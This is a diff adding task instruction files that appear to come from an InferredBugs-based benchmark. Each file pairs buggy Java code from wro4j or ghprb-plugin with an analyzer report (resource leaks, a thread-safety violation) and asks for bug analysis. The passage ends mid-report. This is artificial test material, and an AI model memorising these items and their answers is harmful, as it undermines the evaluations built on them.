+   * Invoked when a {@link RuntimeException} is thrown. Allows custom exception handling. The default implementation
+   * redirects to 404 for a specific {@link WroRuntimeException} exception when in DEPLOYMENT mode.
+   *
+   * @param e {@link RuntimeException} thrown during request processing.
+   */
+  protected void onRuntimeException(final RuntimeException e, final HttpServletResponse response,
+    final FilterChain chain) {
+    LOG.debug("RuntimeException occured", e);
+    try {
+      LOG.debug("Cannot process. Proceeding with chain execution.");
+      final OutputStream os = new ByteArrayOutputStream();
+      HttpServletResponse wrappedResponse = new RedirectedStreamServletResponseWrapper(os, response);
+      chain.doFilter(Context.get().getRequest(), wrappedResponse);
+    } catch (final Exception ex) {
+      // should never happen
+      LOG.error("Error while chaining the request: " + HttpServletResponse.SC_NOT_FOUND);
+    }
+  }
+
+  /**
+   * @return a list of processors to apply for this filter.
+   */
+  protected abstract List<ResourcePreProcessor> processorsList();
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `ro.isdc.wro.http.support.DelegatingServletOutputStream` acquired by call to `RedirectedStreamServletResponseWrapper(...)` at line 74 is not released after line 75.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void AbstractProcessorFilter.onRuntimeException(RuntimeException,HttpServletResponse,FilterChain)
+
+### Procedure Id:
+ro.isdc.wro.http.support.AbstractProcessorFilter.onRuntimeException(java.lang.RuntimeException,javax.b9f8e2e8297d6483c81c6fe315223308
+
+### File:
+wro4j-core/src/main/java/ro/isdc/wro/http/support/AbstractProcessorFilter.java
+
+### Key:
+AbstractProcessorFilter.java|onRuntimeException|RESOURCE_LEAK
+
+### Node Key:
+5d242acb1076468218a9cfd70cc4ceda
+
+### Hash:
+d01021825048eb62e17028bca544771a
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7346/instruction.md b/inferredbugs-7346/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..cfa6199973d56329d84a8bee924b79ea20c7dfda
--- /dev/null
+++ b/inferredbugs-7346/instruction.md
@@ -0,0 +1,161 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** wro4j
+**Bug ID:** 10
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package ro.isdc.wro.http.support;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.util.List;
+
+import javax.servlet.Filter;
+import javax.servlet.FilterChain;
+import javax.servlet.FilterConfig;
+import javax.servlet.ServletException;
+import javax.servlet.ServletRequest;
+import javax.servlet.ServletResponse;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import ro.isdc.wro.WroRuntimeException;
+import ro.isdc.wro.config.Context;
+import ro.isdc.wro.http.WroFilter;
+import ro.isdc.wro.model.resource.processor.ResourcePreProcessor;
+
+/**
+ * Allows configuration of a list of processors to be applied on the    
+ * 
+ * @author Alex Objelean
+ * @since 1.4.5
+ * @created 17 Mar 2012
+ */
+public abstract class AbstractProcessorFilter
+    implements Filter {
+  private static final Logger LOG = LoggerFactory.getLogger(WroFilter.class);
+  private FilterConfig filterConfig;
+  /**
+   * {@inheritDoc}
+   */
+  public final void init(final FilterConfig config)
+    throws ServletException {
+    this.filterConfig = config;
+  }
+  
+  /**
+   * {@inheritDoc}
+   */
+  public void doFilter(final ServletRequest req, final ServletResponse res, final FilterChain chain)
+      throws IOException, ServletException {
+    final HttpServletRequest request = (HttpServletRequest) req;
+    final HttpServletResponse response = (HttpServletResponse) res;
+    try {
+      // add request, response & servletContext to thread local
+      Context.set(Context.webContext(request, response, filterConfig));
+      chain.doFilter(req, res);
+    } catch (final RuntimeException e) {
+      onRuntimeException(e, response, chain);
+    } finally {
+      Context.unset();
+    }
+  }
+  
+  /**
+   * Invoked when a {@link RuntimeException} is thrown. Allows custom exception handling. The default implementation
+   * redirects to 404 for a specific {@link WroRuntimeException} exception when in DEPLOYMENT mode.
+   *
+   * @param e {@link RuntimeException} thrown during request processing.
+   */
+  protected void onRuntimeException(final RuntimeException e, final HttpServletResponse response,
+    final FilterChain chain) {
+    LOG.debug("RuntimeException occured", e);
+    try {
+      LOG.debug("Cannot process. Proceeding with chain execution.");
+      final OutputStream os = new ByteArrayOutputStream();
+      HttpServletResponse wrappedResponse = new RedirectedStreamServletResponseWrapper(os, response);
+      chain.doFilter(Context.get().getRequest(), wrappedResponse);
+    } catch (final Exception ex) {
+      // should never happen
+      LOG.error("Error while chaining the request: " + HttpServletResponse.SC_NOT_FOUND);
+    }
+  }
+
+  /**
+   * @return a list of processors to apply for this filter.
+   */
+  protected abstract List<ResourcePreProcessor> processorsList();
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `ro.isdc.wro.http.support.DelegatingServletOutputStream` acquired by call to `RedirectedStreamServletResponseWrapper(...)` at line 74 is not released after line 76.
+**Note**: potential exception at line 75
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void AbstractProcessorFilter.onRuntimeException(RuntimeException,HttpServletResponse,FilterChain)
+
+### Procedure Id:
+ro.isdc.wro.http.support.AbstractProcessorFilter.onRuntimeException(java.lang.RuntimeException,javax.b9f8e2e8297d6483c81c6fe315223308
+
+### File:
+wro4j-core/src/main/java/ro/isdc/wro/http/support/AbstractProcessorFilter.java
+
+### Key:
+AbstractProcessorFilter.java|onRuntimeException|RESOURCE_LEAK
+
+### Node Key:
+d54375129813b1c5d9f10eb00e12d6a9
+
+### Hash:
+5f2c664fd3cdbb707a6743e1efdeccaa
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7348/instruction.md b/inferredbugs-7348/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..4013d5ef40740a6a174de520ecbcb57c4248819e
--- /dev/null
+++ b/inferredbugs-7348/instruction.md
@@ -0,0 +1,197 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** wro4j
+**Bug ID:** 4
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2008. All rights reserved.
+ */
+package ro.isdc.wro.manager;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.mockito.Mockito;
+
+import ro.isdc.wro.AbstractWroTest;
+import ro.isdc.wro.config.ConfigurationContext;
+import ro.isdc.wro.config.Context;
+import ro.isdc.wro.config.jmx.WroConfiguration;
+import ro.isdc.wro.http.DelegatingServletOutputStream;
+import ro.isdc.wro.manager.factory.ServletContextAwareWroManagerFactory;
+import ro.isdc.wro.model.factory.XmlModelFactory;
+import ro.isdc.wro.test.util.WroTestUtils;
+
+
+/**
+ * TestWroManager.java.
+ *
+ * @author Alex Objelean
+ * @created Created on Nov 3, 2008
+ */
+public class TestWroManager extends AbstractWroTest {
+  private WroManager manager;
+
+
+  @Before
+  public void setUp() {
+    initConfigWithUpdatePeriodValue(0);
+    final WroManagerFactory factory = new ServletContextAwareWroManagerFactory();
+    manager = factory.getInstance();
+    Context.set(Mockito.mock(Context.class, Mockito.RETURNS_DEEP_STUBS));
+  }
+
+
+  @Test
+  public void testNoProcessorWroManagerFactory() throws IOException {
+    final WroManagerFactory factory = new ServletContextAwareWroManagerFactory();
+    manager = factory.getInstance();
+    manager.setModelFactory(getValidModelFactory());
+    final HttpServletRequest request = Mockito.mock(HttpServletRequest.class);
+    final OutputStream os = System.out;
+    final HttpServletResponse response = Context.get().getResponse();
+
+    final InputStream actualStream = WroTestUtils.convertToInputStream(os);
+    Mockito.when(response.getOutputStream()).thenReturn(new DelegatingServletOutputStream(os));
+    Mockito.when(request.getRequestURI()).thenReturn("/app/g1.css");
+    manager.process(request, response);
+    WroTestUtils.compare(getInputStream("classpath:ro/isdc/wro/manager/noProcessorsResult.css"), actualStream);
+  }
+
+
+  @Test
+  public void processValidModel() throws IOException {
+    manager.setModelFactory(getValidModelFactory());
+    final HttpServletRequest request = Mockito.mock(HttpServletRequest.class);
+    final HttpServletResponse response = Context.get().getResponse();
+    Mockito.when(request.getRequestURI()).thenReturn("/app/g1.css");
+    manager.process(request, response);
+  }
+
+
+  /**
+   * @return a {@link XmlModelFactory} pointing to a valid config resource.
+   */
+  private XmlModelFactory getValidModelFactory() {
+    return new XmlModelFactory() {
+      @Override
+      protected InputStream getConfigResourceAsStream() {
+        return getResourceAsStream(TestWroManager.class.getPackage().getName().replace(".", "/") + "/wro.xml");
+      }
+    };
+  }
+
+
+  /**
+   * Test how manager behaves when the update period value is greater than zero and the scheduler starts.
+   *
+   * @throws Exception
+   */
+  @Test
+  public void testManagerWhenSchedulerIsStarted() throws Exception {
+    manager.setModelFactory(getValidModelFactory());
+    initConfigWithUpdatePeriodValue(1);
+    final HttpServletRequest request = Mockito.mock(HttpServletRequest.class);
+    final HttpServletResponse response = Context.get().getResponse();
+    Mockito.when(request.getRequestURI()).thenReturn("/app/g1.css");
+    manager.process(request, response);
+    // allow thread to do their job
+    Thread.sleep(2000);
+  }
+
+
+  /**
+   * Initialize {@link WroConfiguration} object with cacheUpdatePeriod & modelUpdatePeriod equal with provided argument.
+   */
+  private void initConfigWithUpdatePeriodValue(final long periodValue) {
+    final WroConfiguration config = new WroConfiguration();
+    config.setCacheUpdatePeriod(periodValue);
+    config.setModelUpdatePeriod(periodValue);
+
+    ConfigurationContext.get().setConfig(config);
+  }
+
+
+  @After
+  public void tearDown() {
+    manager.destroy();
+    Context.unset();
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.PipedInputStream` acquired by call to `convertToInputStream(...)` at line 56 is not released after line 61.
+**Note**: potential exception at line 57
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestWroManager.testNoProcessorWroManagerFactory()
+
+### Procedure Id:
+ro.isdc.wro.manager.TestWroManager.testNoProcessorWroManagerFactory():void.85d168d543f867f7970115b0a95f7273
+
+### File:
+wro4j-core/src/test/java/ro/isdc/wro/manager/TestWroManager.java
+
+### Key:
+TestWroManager.java|testNoProcessorWroManagerFactory|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+b3b0a56f520628a49b629d449c2a3739
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7370/instruction.md b/inferredbugs-7370/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..3992185dc51a670bdb630fa9a2a656e61f19c420
--- /dev/null
+++ b/inferredbugs-7370/instruction.md
@@ -0,0 +1,710 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ghprb-plugin
+**Bug ID:** 19
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.jenkinsci.plugins.ghprb;
+
+import com.google.common.base.Joiner;
+
+import hudson.model.AbstractBuild;
+
+import org.apache.commons.lang.StringUtils;
+import org.kohsuke.github.GHCommitPointer;
+import org.kohsuke.github.GHIssue;
+import org.kohsuke.github.GHIssueComment;
+import org.kohsuke.github.GHPullRequest;
+import org.kohsuke.github.GHPullRequestCommitDetail;
+import org.kohsuke.github.GHUser;
+import org.kohsuke.github.GitUser;
+
+import java.io.IOException;
+import java.net.URL;
+import java.util.Date;
+import java.util.List;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+/**
+ * Maintains state about a Pull Request for a particular Jenkins job. This is what understands the current state of a PR
+ * for a particular job.
+ *
+ * @author Honza Brázdil <jbrazdil@redhat.com>
+ */
+public class GhprbPullRequest {
+
+    private static final Logger logger = Logger.getLogger(GhprbPullRequest.class.getName());
+
+    @Deprecated
+    @SuppressWarnings("unused")
+    private transient GHUser author;
+    @Deprecated
+    @SuppressWarnings("unused")
+    private transient String title;
+    @Deprecated
+    @SuppressWarnings("unused")
+    private transient String reponame;
+    @Deprecated
+    @SuppressWarnings("unused")
+    private transient URL url;
+    @Deprecated
+    @SuppressWarnings("unused")
+    private transient String description;
+    @Deprecated
+    @SuppressWarnings("unused")
+    private transient String target;
+    @Deprecated
+    @SuppressWarnings("unused")
+    private transient String source;
+    @Deprecated
+    @SuppressWarnings("unused")
+    private transient String authorRepoGitUrl;
+    @Deprecated
+    @SuppressWarnings("unused")
+    private transient Boolean changed = true;
+
+    private transient String authorEmail;
+    private transient Ghprb helper; // will be refreshed each time GhprbRepository.init() is called
+    private transient GhprbRepository repo; // will be refreshed each time GhprbRepository.init() is called
+
+    private transient GHPullRequest pr;
+
+    private transient GHUser triggerSender; // Only needed for a single build
+    private transient GitUser commitAuthor; // Only needed for a single build
+    private transient String commentBody;
+
+    private transient boolean shouldRun = false; // Declares if we should run the build this time.
+    private transient boolean triggered = false; // Only lets us know if the trigger phrase was used for this run
+    private transient boolean mergeable = false; // Only works as an easy way to pass the value around for the start of
+                                                 // this build
+
+    private final int id;
+    private Date updated; // Needed to track when the PR was updated
+    private String head;
+    private String base;
+    private boolean accepted = false; // Needed to see if the PR has been added to the accepted list
+    private String lastBuildId;
+
+    private void setUpdated(Date lastUpdateTime) {
+        updated = lastUpdateTime;
+    }
+
+    private void setHead(String newHead) {
+        this.head = StringUtils.isEmpty(newHead) ? head : newHead;
+    }
+
+    private void setBase(String newBase) {
+        this.base = StringUtils.isEmpty(newBase) ? base : newBase;
+    }
+
+    private void setAccepted(boolean shouldRun) {
+        accepted = true;
+        this.shouldRun = shouldRun;
+    }
+
+    public GhprbPullRequest(GHPullRequest pr,
+                            Ghprb ghprb,
+                            GhprbRepository repo,
+                            boolean isNew) {
+
+        id = pr.getNumber();
+        setPullRequest(pr);
+
+        this.helper = ghprb;
+
+        this.repo = repo;
+
+        GHUser author = pr.getUser();
+        String reponame = repo.getName();
+
+        try {
+            if (ghprb.isWhitelisted(getPullRequestAuthor())) {
+                setAccepted(true);
+            } else {
+                logger.log(Level.INFO,
+                           "Author of #{0} {1} on {2} not in whitelist!",
+                           new Object[] { id, author.getLogin(), reponame });
+                repo.addComment(id, GhprbTrigger.getDscp().getRequestForTestingPhrase());
+            }
+        } catch (IOException e) {
+            logger.log(Level.SEVERE, "Unable to get pull request author", e);
+        }
+
+        logger.log(Level.INFO,
+                   "Created Pull Request #{0} on {1} by {2} ({3}) updated at: {4} SHA: {5}",
+                   new Object[] { id, reponame, author.getLogin(), getAuthorEmail(), updated, this.head });
+    }
+
+    public void init(Ghprb helper,
+                     GhprbRepository repo) {
+        this.helper = helper;
+        this.repo = repo;
+    }
+
+    /**
+     * Checks this Pull Request representation against a GitHub version of the Pull Request, and triggers a build if
+     * necessary.
+     *
+     * @param ghpr
+     */
+    public void check(GHPullRequest ghpr) {
+        setPullRequest(ghpr);
+        if (helper.isProjectDisabled()) {
+            logger.log(Level.FINE, "Project is disabled, ignoring pull request");
+            return;
+        }
+
+        try {
+            getPullRequest(false);
+        } catch (IOException e) {
+            logger.log(Level.SEVERE, "Unable to get the latest copy of the PR from github", e);
+            return;
+        }
+
+        updatePR(pr, pr.getUser());
+
+        checkSkipBuild(pr);
+        tryBuild();
+    }
+
+    private void checkSkipBuild(GHIssue issue) {
+        String skipBuildPhrase = helper.checkSkipBuild(issue);
+        if (!StringUtils.isEmpty(skipBuildPhrase)) {
+            logger.log(Level.INFO,
+                       "Pull request commented with {0} skipBuildPhrase. Hence skipping the build.",
+                       skipBuildPhrase);
+            shouldRun = false;
+        }
+    }
+
+    public void check(GHIssueComment comment) {
+        if (helper.isProjectDisabled()) {
+            logger.log(Level.FINE, "Project is disabled, ignoring comment");
+            return;
+        }
+
+        synchronized (this) {
+            try {
+                checkComment(comment);
+            } catch (IOException ex) {
+                logger.log(Level.SEVERE, "Couldn't check comment #" + comment.getId(), ex);
+                return;
+            }
+
+            try {
+                GHUser user = null;
+                try {
+                    user = comment.getUser();
+                } catch (IOException e) {
+                    logger.log(Level.SEVERE, "Couldn't get the user that made the comment", e);
+                }
+                updatePR(getPullRequest(true), user);
+            } catch (IOException ex) {
+                logger.log(Level.SEVERE, "Unable to get a new copy of the pull request!");
+            }
+
+            checkSkipBuild(comment.getParent());
+            tryBuild();
+        }
+    }
+
+    private void updatePR(GHPullRequest pr,
+                          GHUser user) {
+        setPullRequest(pr);
+
+        synchronized (this) {
+            Date lastUpdateTime = updated;
+            if (isUpdated(pr)) {
+                logger.log(Level.INFO,
+                           "Pull request #{0} was updated on {1} at {2} by {3}",
+                           new Object[] { id, repo.getName(), updated, user });
+
+                // the author of the PR could have been whitelisted since its creation
+                if (!accepted && helper.isWhitelisted(pr.getUser())) {
+                    logger.log(Level.INFO, "Pull request #{0}'s author has been whitelisted", new Object[] { id });
+                    setAccepted(false);
+                }
+
+                int commentsChecked = checkComments(pr, lastUpdateTime);
+                boolean newCommit = checkCommit(pr);
+
+                if (!newCommit && commentsChecked == 0) {
+                    logger.log(Level.INFO,
+                               "Pull request #{0} was updated on repo {1} but there aren''t any new comments nor commits; "
+                                           + "that may mean that commit status was updated.",
+                               new Object[] { id, repo.getName() });
+                }
+            }
+        }
+    }
+
+    public boolean isWhiteListedTargetBranch() {
+        List<GhprbBranch> branches = helper.getWhiteListTargetBranches();
+        if (branches.isEmpty() || (branches.size() == 1 && branches.get(0).getBranch().equals(""))) {
+            // no branches in white list means we should test all
+            return true;
+        }
+
+        String target = getTarget();
+        for (GhprbBranch b : branches) {
+            if (b.matches(target)) {
+                // the target branch is in the whitelist!
+                return true;
+            }
+        }
+        logger.log(Level.FINEST,
+                   "PR #{0} target branch: {1} isn''t in our whitelist of target branches: {2}",
+                   new Object[] { id, target, Joiner.on(',').skipNulls().join(branches) });
+        return false;
+    }
+
+    private boolean isUpdated(GHPullRequest pr) {
+        synchronized (this) {
+            Date lastUpdated = new Date();
+            boolean ret = false;
+            try {
+                lastUpdated = pr.getUpdatedAt();
+                ret = updated.compareTo(lastUpdated) < 0;
+                setUpdated(lastUpdated);
+            } catch (Exception e) {
+                logger.log(Level.WARNING, "Unable to update last updated date", e);
+            }
+            GHCommitPointer pointer = pr.getHead();
+            String pointerSha = pointer.getSha();
+            ret |= !pointerSha.equals(head);
+
+            pointer = pr.getBase();
+            pointerSha = pointer.getSha();
+            ret |= !pointerSha.equals(base);
+
+            return ret;
+        }
+    }
+
+    private void tryBuild() {
+        if (helper.isProjectDisabled()) {
+            logger.log(Level.FINEST, "Project is disabled, not trying to build");
+            shouldRun = false;
+            triggered = false;
+        }
+        if (helper.ifOnlyTriggerPhrase() && !triggered) {
+            logger.log(Level.FINEST, "Trigger only phrase but we are not triggered");
+            shouldRun = false;
+        }
+        triggered = false; // Once we have decided that we are triggered then the flag should be set to false.
+
+        if (!isWhiteListedTargetBranch()) {
+            logger.log(Level.FINEST, "Branch is not whitelisted, skipping the build");
+            return;
+        }
+        if (shouldRun) {
+            shouldRun = false; // Change the shouldRun flag as soon as we decide to build.
+            logger.log(Level.FINEST, "Running the build");
+
+            if (pr != null) {
+                logger.log(Level.FINEST, "PR is not null, checking if mergable");
+                checkMergeable();
+                try {
+                    for (GHPullRequestCommitDetail commitDetails : pr.listCommits()) {
+                        if (commitDetails.getSha().equals(getHead())) {
+                            commitAuthor = commitDetails.getCommit().getCommitter();
+                            break;
+                        }
+                    }
+                } catch (Exception ex) {
+                    logger.log(Level.INFO, "Unable to get PR commits: ", ex);
+                }
+
+            }
+
+            logger.log(Level.FINEST, "Running build...");
+            build();
+        }
+    }
+
+    private void build() {
+        GhprbBuilds builder = helper.getBuilds();
+        builder.build(this, triggerSender, commentBody);
+    }
+
+    // returns false if no new commit
+    private boolean checkCommit(GHPullRequest pr) {
+        GHCommitPointer head = pr.getHead();
+        GHCommitPointer base = pr.getBase();
+
+        String headSha = head.getSha();
+        String baseSha = base.getSha();
+
+        if (StringUtils.equals(headSha, this.head) && StringUtils.equals(baseSha, this.base)) {
+            return false;
+        }
+
+        logger.log(Level.FINE,
+                   "New commit. Sha: Head[{0} => {1}] Base[{2} => {3}]",
+                   new Object[] { this.head, headSha, this.base, baseSha });
+
+        setHead(headSha);
+        setBase(baseSha);
+
+        if (accepted) {
+            shouldRun = true;
+        }
+        return true;
+    }
+
+    private void checkComment(GHIssueComment comment) throws IOException {
+        GHUser sender = comment.getUser();
+        String body = comment.getBody();
+
+        logger.log(Level.FINEST, "[{0}] Added comment: {1}", new Object[] { sender.getName(), body });
+
+        // Disabled until more advanced configs get set up
+        // ignore comments from bot user, this fixes an issue where the bot would auto-whitelist
+        // a user or trigger a build when the 'request for testing' phrase contains the
+        // whitelist/trigger phrase and the bot is a member of a whitelisted organisation
+        // if (helper.isBotUser(sender)) {
+        // logger.log(Level.INFO, "Comment from bot user {0} ignored.", sender);
+        // return;
+        // }
+
+        if (helper.isWhitelistPhrase(body) && helper.isAdmin(sender)) { // add to whitelist
+            GHIssue parent = comment.getParent();
+            GHUser author = parent.getUser();
+            if (!helper.isWhitelisted(author)) {
+                logger.log(Level.FINEST, "Author {0} not whitelisted, adding to whitelist.", author);
+                helper.addWhitelist(author.getLogin());
+            }
+            setAccepted(true);
+        } else if (helper.isOktotestPhrase(body) && helper.isAdmin(sender)) { // ok to test
+            logger.log(Level.FINEST, "Admin {0} gave OK to test", sender);
+            setAccepted(true);
+        } else if (helper.isRetestPhrase(body)) { // test this please
+            logger.log(Level.FINEST, "Retest phrase");
+            if (helper.isAdmin(sender)) {
+                logger.log(Level.FINEST, "Admin {0} gave retest phrase", sender);
+                shouldRun = true;
+            } else if (accepted && helper.isWhitelisted(sender)) {
+                logger.log(Level.FINEST, "Retest accepted and user {0} is whitelisted", sender);
+                shouldRun = true;
+            }
+        } else if (helper.isTriggerPhrase(body)) { // trigger phrase
+            logger.log(Level.FINEST, "Trigger phrase");
+            if (helper.isAdmin(sender)) {
+                logger.log(Level.FINEST, "Admin {0} ran trigger phrase", sender);
+                shouldRun = true;
+                triggered = true;
+            } else if (accepted && helper.isWhitelisted(sender)) {
+                logger.log(Level.FINEST, "Trigger accepted and user {0} is whitelisted", sender);
+                shouldRun = true;
+                triggered = true;
+            }
+        }
+
+        if (shouldRun) {
+            triggerSender = sender;
+            commentBody = body;
+        }
+    }
+
+    private int checkComments(GHPullRequest ghpr,
+                              Date lastUpdatedTime) {
+        int count = 0;
+        logger.log(Level.FINEST, "Checking for comments after: {0}", lastUpdatedTime);
+        try {
+            for (GHIssueComment comment : ghpr.getComments()) {
+                logger.log(Level.FINEST, "Comment was made at: {0}", comment.getUpdatedAt());
+                if (lastUpdatedTime.compareTo(comment.getUpdatedAt()) < 0) {
+                    logger.log(Level.FINEST, "Comment was made after last update time, {0}", comment.getBody());
+                    count++;
+                    try {
+                        checkComment(comment);
+                    } catch (IOException ex) {
+                        logger.log(Level.SEVERE, "Couldn't check comment #" + comment.getId(), ex);
+                    }
+                }
+            }
+        } catch (IOException e) {
+            logger.log(Level.SEVERE, "Couldn't obtain comments.", e);
+        }
+        return count;
+    }
+
+    public boolean checkMergeable() {
+        try {
+            getPullRequest(false);
+        } catch (IOException e) {
+            logger.log(Level.SEVERE, "Unable to get a copy of the PR from github", e);
+            return mergeable;
+        }
+        try {
+            int r = 5;
+            Boolean isMergeable = pr.getMergeable();
+            while (isMergeable == null && r-- > 0) {
+                try {
+                    Thread.sleep(1000);
+                } catch (InterruptedException ex) {
+                    break;
+                }
+                isMergeable = pr.getMergeable();
+            }
+            mergeable = isMergeable != null && isMergeable;
+        } catch (IOException e) {
+            logger.log(Level.SEVERE, "Couldn't obtain mergeable status.", e);
+        }
+        return mergeable;
+    }
+
+    @Override
+    public boolean equals(Object obj) {
+        if (!(obj instanceof GhprbPullRequest)) {
+            return false;
+        }
+        GhprbPullRequest o = (GhprbPullRequest) obj;
+        return o.id == id;
+    }
+
+    @Override
+    public int hashCode() {
+        int hash = 7;
+        hash = 89 * hash + this.id;
+        return hash;
+    }
+
+    public int getId() {
+        return id;
+    }
+
+    public String getHead() {
+        return head;
+    }
+
+    public String getAuthorRepoGitUrl() {
+        GHCommitPointer prHead = pr.getHead();
+        String authorRepoGitUrl = "";
+
+        if (prHead != null && prHead.getRepository() != null) {
+            authorRepoGitUrl = prHead.getRepository().gitHttpTransportUrl();
+        }
+        return authorRepoGitUrl;
+    }
+
+    public boolean isMergeable() {
+        return mergeable;
+    }
+
+    /**
+     * Base and Ref are part of the PullRequest object
+     * 
+     * @return
+     */
+    public String getTarget() {
+        try {
+            return getPullRequest(false).getBase().getRef();
+        } catch (IOException e) {
+            return "UNKNOWN";
+        }
+    }
+
+    /**
+     * Head and Ref are part of the PullRequest object
+     * 
+     * @return
+     */
+    public String getSource() {
+        try {
+            return getPullRequest(false).getHead().getRef();
+        } catch (IOException e) {
+            return "UNKNOWN";
+        }
+    }
+
+    /**
+     * Title is part of the PullRequest object
+     * 
+     * @return
+     */
+    public String getTitle() {
+        try {
+            return getPullRequest(false).getTitle();
+        } catch (IOException e) {
+            return "UNKNOWN";
+        }
+    }
+
+    /**
+     * Returns the URL to the Github Pull Request.
+     * This URL is part of the pull request object
+     *
+     * @return the Github Pull Request URL
+     */
+    public URL getUrl() throws IOException {
+        return getPullRequest(false).getHtmlUrl();
+    }
+
+    /**
+     * The description body is part of the PullRequest object
+     * 
+     * @return
+     */
+    public String getDescription() {
+        try {
+            return getPullRequest(false).getBody();
+        } catch (IOException e) {
+            return "UNKNOWN";
+        }
+    }
+
+    public GitUser getCommitAuthor() {
+        return commitAuthor;
+    }
+
+    /**
+     * Author is part of the PullRequest Object
+     * 
+     * @return
+     * @throws IOException
+     */
+    public GHUser getPullRequestAuthor() throws IOException {
+        return getPullRequest(false).getUser();
+    }
+
+    /**
+     * Get the PullRequest object for this PR
+     * 
+     * @param force - forces the code to go get the PullRequest from GitHub now
+     * @return
+     * @throws IOException
+     */
+    public GHPullRequest getPullRequest(boolean force) throws IOException {
+        if (this.pr == null || force) {
+            setPullRequest(repo.getActualPullRequest(this.id));
+        }
+        return pr;
+    }
+
+    private void setPullRequest(GHPullRequest pr) {
+        if (pr == null) {
+            return;
+        }
+        synchronized (this) {
+            this.pr = pr;
+
+            try {
+                if (updated == null) {
+                    setUpdated(pr.getCreatedAt());
+                }
+            } catch (IOException e) {
+                logger.log(Level.WARNING, "Unable to get date for new PR", e);
+                setUpdated(new Date());
+            }
+
+            if (StringUtils.isEmpty(this.head)) {
+                GHCommitPointer prHead = pr.getHead();
+                setHead(prHead.getSha());
+            }
+
+            if (StringUtils.isEmpty(this.base)) {
+                GHCommitPointer prBase = pr.getBase();
+                setBase(prBase.getSha());
+            }
+        }
+    }
+
+    /**
+     * Email address is collected from GitHub as extra information, so lets cache it.
+     * 
+     * @return
+     */
+    public String getAuthorEmail() {
+        if (StringUtils.isEmpty(authorEmail)) {
+            try {
+                GHUser user = getPullRequestAuthor();
+                authorEmail = user.getEmail();
+            } catch (IOException e) {
+                logger.log(Level.SEVERE, "Unable to fetch author info for " + id);
+            }
+        }
+        authorEmail = StringUtils.isEmpty(authorEmail) ? "" : authorEmail;
+        return authorEmail;
+    }
+
+    public void setBuild(AbstractBuild<?, ?> build) {
+        lastBuildId = build.getId();
+    }
+
+    public String getLastBuildId() {
+        return lastBuildId;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
